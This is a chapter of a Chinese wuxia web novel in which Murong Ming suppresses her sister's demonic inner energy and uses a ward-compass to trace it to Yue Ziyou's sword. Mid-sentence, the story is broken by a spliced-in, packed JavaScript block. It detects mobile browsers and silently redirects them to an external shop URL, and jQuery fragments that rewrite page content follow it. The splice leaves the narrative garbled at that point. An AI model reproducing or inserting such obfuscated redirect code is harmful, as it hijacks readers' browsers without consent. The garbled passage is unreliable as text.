26.悲天无败5
作品:《正道女主养成手册》 为什么慕容晴体内恶剑魔的内力会突然生出异动?
危急关头,慕容暝顾不得多思多想,她悄然伸手环过慕容晴的脑袋,用衣袖将她的脸遮掩在暗处。若是被任何一个人看到慕容晴额间的天崭印,必将招致大难。
“萧迢。”慕容暝随口扯了个理由,“小晴的旧伤复发了,我要替小晴运功疗伤,大概需要一炷香的时间,还请你为我护法,不要让任何人靠近这旁。”
萧迢明白事理,没有追问其中缘由,爽快应下:“好。”
随后,萧迢站起身来,手握悲天立于廊下,转而背对着她们。慕容暝将慕容晴扶起坐直,指尖几番起落,果断点起她周身几处大穴,催动内力引渡至慕容晴的经脉之中,以此调和她体内正在兴风作浪的殷崭内力。
这并非是对萧迢说的什么疗伤,而是蓝令容曾经教给她的,能够压制殷崭内力的秘术。
随着秘术逐渐起效,慕容晴体内汹涌翻腾的内力由躁动转为平息,她面色好转,额间那道极浅的崭绝印终于再次消失,重归无形。
慕容暝缓缓收势,一直悬起的心终于松了些许,轻声叹道:“幸好……”
慕容晴从方才的冲击之中寻回神志,恍惚间,她似乎想起了什么,紧拽着慕容暝的衣袖,语气虚弱却格外笃定地道:“姐姐,你还记得我们小时候闯进禁阁的事吗?我刚刚的感觉……和那次一模一样。”
慕容暝惊觉,回想起了多年前的那桩旧事。
彼时,她和慕容晴年纪尚小,玩心颇重。有一日,姐妹二人追着一只蝴蝶,不知不觉间寻到了问剑谷中的禁阁。
禁阁中收藏着问剑谷开宗以来所得的各种奇珍异宝,等闲之人不得擅入。可慕容暝和慕容晴显然算不得等闲之人,一个是本门少主,一个是宗主养女,值守禁阁的弟子们面面相觑,不约而同地都没有阻拦,任由姐妹二人进了禁阁之中。
慕容暝也是头一遭踏入禁阁,心中满是好奇,抓蝴蝶的事早被抛到了九霄云外,和慕容晴一道在禁阁里四处赏玩起来。
二人辗转行至禁阁的最深处,一座四方石台豁然现于眼前。石台上陈放着一把玄铁大剑,剑身通体乌黑,其上满布着不知名的深红色纹路。那把剑被粗如手腕的铁链禁锢,死死锁缚在石台之上,剑身之上还张贴着不少镇邪符篆,似是在镇压一头穷凶极恶的洪水猛兽。
只一眼,慕容暝便觉得这把剑邪戾冲天,一定不是什么好东西。
慕容晴从慕容暝身后探出脑袋,她的目光在玄铁大剑和慕容暝额间的崭绝印之间逡巡着,像是发现了件新奇不已的事,讶然道:“姐姐,这剑上的花纹和你额头上的印记好像啊。”
慕容暝闻言,只觉心跳骤然一窒,通身的血液似乎都停止流转,冰冷凝结。她抬眼看去,那剑身上的纹路确实和她的崭绝印如出一辙,这把剑的身份也昭然若揭——
殷崭的崭绝剑。
当年崭绝山一役之后,慕容连衡带回了弃置于殷崭尸身旁的崭绝剑,封存于禁阁之中,不得再见天日。
但凡和殷崭沾边准没好事,慕容暝此刻兴致全失,只想赶紧离开禁阁,道:“小晴,这里没什么好看的,我们快走吧。”
说着,慕容暝匆忙牵起慕容晴的手,却见慕容晴脸色剧变,五官因痛苦而纠结扭曲,她的手无力地从慕容暝掌心中滑脱出来,猝然倒地。
“姐姐……我好难受!”
一阵阴风吹入阁中,将剑上的符纸吹得哗啦作响。慕容暝骇然望去,也不知是不是她的错觉,那剑身周遭似有隐隐有黑气飘散,上头的红色纹路随之散发出如血般殷红的邪光。
慕容暝那时也只是个半大的孩子,面对这样的情状亦是惊惧交加,她赶紧蹲下身抱起慕容晴,疾呼道:“小晴,你怎么了,是哪里不舒服?!”
慕容晴浑身剧烈颤抖,她嘴唇翕动,声音渐弱:“好疼,全身都好疼……!姐姐,我不想待在这里了,带我走好不好……”
“好,你坚持住,我这就带你出去找大夫!”
慕容暝从未见过慕容晴这副模样,不免乱了阵脚,唯恐她有任何差池,慌忙将慕容晴背起从禁阁中飞奔而出。
可二人甫一踏出禁阁地界,慕容晴的痛苦之感却又顷刻消弭了。这症状来也突然去也突然,慕容晴转眼间又活蹦乱跳,就好像从未产生过任何异状。
慕容暝仍旧不放心,带着慕容晴去了医所,可医所的大夫替慕容晴仔细检查过后,也说慕容晴身体康健,并无异常。
慕容暝将此事如实禀报给了慕容连衡和蓝令容,三人一番商讨,最后得出一个结论。慕容晴体内的内力感应到了崭绝剑中属于殷崭的气息,二者同出一源,近距离相遇产生了共鸣,引得慕容晴体内内力激荡,才会有此反应。
慕容晴形同一个可以随时感应到殷崭内力和气息的人形司南,但凡有和殷崭相关的事物出现在她附近,就会引发她产生这种由内力共鸣引发的痛苦异状。
时隔多年,慕容晴此刻竟再一次出现了这种症状,而禁阁离拭剑台相隔甚远,绝不会是里头的锁着的那把崭绝剑引起的。
唯一的原因,便是这拭剑台上,存在着某个人或某样物品,与恶剑魔殷崭有关!
慕容暝只觉得似有一口铜钟笼罩着她,钟杵悍然撞击,搅得她心神俱震。她难以置信地喃喃道:“为什么,为什么会这样……”
萧迢听到了慕容晴的声音,估摸着慕容暝已经疗伤完毕,回过身来,却见慕容暝面色沉凝,不由问道:“慕容少主,你怎么了?”
慕容暝感到一阵悚然寒意顺着脊背蔓延扩散,似有双无形的眼睛正在暗处窥伺着他们的一举一动。
慕容暝尽力让自己保持冷静,大祸当前,不是打哑谜的时候,她言简意赅地道:“拭剑台上定有和恶剑魔殷崭相关的东西存在,而且离我们很近。”
萧迢和慕容晴俱是一惊:“什么?!”
萧迢问道:“少主是如何得知的?”
慕容暝当然不能告诉他们真正的原因,只好信口胡诌:“……因为我的身份,我当然能感应得到。”
萧迢看着慕容暝额间的崭绝印,恍然明了。是啊,她本就身怀着恶剑魔殷崭的内力,能感应到这些是再正常不过的事。
慕容晴思忖片刻,忽然灵机一动:“对了姐姐,我之前给你做的避邪盘可有带在身上?”
“我一直带着的。”慕容暝应道,一边从腰间悬挂的锦囊中取出一只小巧精致的罗盘。三人定睛一看,赫然发现罗盘上的指针起了反应,正左右踌躇摇摆,最后稳当地停在一处。
三人齐齐抬头顺着指针望去,赫然见越子游在那大喇喇地坐着。他似有所觉地抬起了头,见对面三人不知为何都直勾勾盯着他,眉尾不耐地一挑,满脸莫名其妙。
越子游:“……?”
慕容暝沉声道:“竟然是越子游。”
萧迢不明所以:“这个罗盘是什么?”
慕容晴颇为骄傲地解释起来:“这是我亲手做的避邪盘,是姐姐将殷崭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286519|194806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的内力注入磁石制成,能对与殷崭相关的东西起反应,此刻指针指向了越子游,说明……”
萧迢心下了然,接过话道:“说明他身上有殷崭的内力。”
慕容晴并不知晓,这磁石上的殷崭内力并非是来自慕容暝本人。当年慕容晴为了造出避邪盘,神秘兮兮地拿着块磁石找上慕容暝,软磨硬泡求她为磁石输注一点殷崭内力。可慕容暝哪来的殷崭内力可用?她本想回绝,又担心慕容晴打起崭绝剑的主意捅下更大的篓子,只得应下她的请求,连夜偷摸着从禁阁里那把崭绝剑借了少许殷崭的内力输注到了磁石之上。
反正只是一点点内力,远不足以引起慕容晴的反应,应当无碍。
避邪盘制成后,慕容晴兴冲冲地拿到慕容暝面前献宝,却见避邪盘的指针面对慕容暝动也不动,很是纳闷:“咦?真是奇怪,这避邪盘怎么会对姐姐毫无反应呢,难道是失败了?不能够啊……”
幸亏慕容晴体内的殷崭内力早已被压制,否则这避邪盘定会一瞬不瞬地指向慕容晴自己。
慕容暝没料到慕容晴要那磁石竟是作此用途,这下给她惊出一身冷汗,忙将那避邪盘夺走没收,强颜欢笑道:“不用试了,你做出的机巧一定没问题。”好在慕容晴心思单纯,未曾深思其中内情,得到慕容暝的夸奖又乐呵呵地离开了。
此时,慕容暝已经明白了一切,慕容晴先前之所以会生出异状,正是感应到了越子游身上携带着的殷崭内力。
她当然不会将这些如实告知萧迢和慕容晴,而是独自蹙眉沉思起来。这其中疑点颇多,越子游接连几日都出现在他们面前,为何慕容晴和避邪盘直到今日才起了反应?再者,如果越子游体内也有殷崭的内力,那他应当也会和慕容晴一样产生共鸣感应,可他神色稀松平常,对此分明是浑然不觉。
而下一刻,慕容暝就已经得出了答案。
慕容晴和避邪盘直到今日才产生感应,只因越子游身上的殷崭内力是今天才出现的。至于越子游并没有和慕容晴产生同样的感应,则是因为这道内力并不存在于他的体内,而是在他身上携带着的物件之中。
慕容暝心念电转,飞速扫视遍越子游的全身上下,视线定格在了他手中的长刀上。他今日带着的刀并不是他的佩刀雷势,取而代之的,是一柄从未见过的古铜色长刀。她回想起萧迢所说,越子游昨夜曾经带刀出入徐秉山房中,二人极可能在那时就已经将刀调换,并在刀上动了什么手脚。
“刀……!”慕容暝想通了所有的关窍,情急之下无意识地拽住了身旁萧迢的衣袖,急切道:“我知道了,是他的刀!”
萧迢从未见过慕容暝这般急切,他虽然尚不清楚其中的来龙去脉,却没有半点不耐,把慕容暝的话悉数听了进去,而后安抚似的道:“少主,别着急,你慢慢说,我都听着的。”
慕容暝惊骇之下心神不稳,她听到萧迢的话,恍然抬起了头,恰巧对视上他的双眼。他的眼神清明澄澈,如宽和无垠的海面,将她的所有情绪稳稳托起,又轻轻放落在了实处,那是一种令人安心的力量。
他就好像在说,没事的,天永远都塌不下来。
慕容暝反应过来,骤然松开了手中攥着的衣袖,迅速平复了心绪,又变回了平时那个冷静自持的慕容少主。
慕容暝道:“抱歉,我刚刚有些失态了。”
“……无妨的。”
萧迢将她的转变看在眼里,视线落向衣袖处被她攥出的些许褶皱,心里没来由地有些空落落。

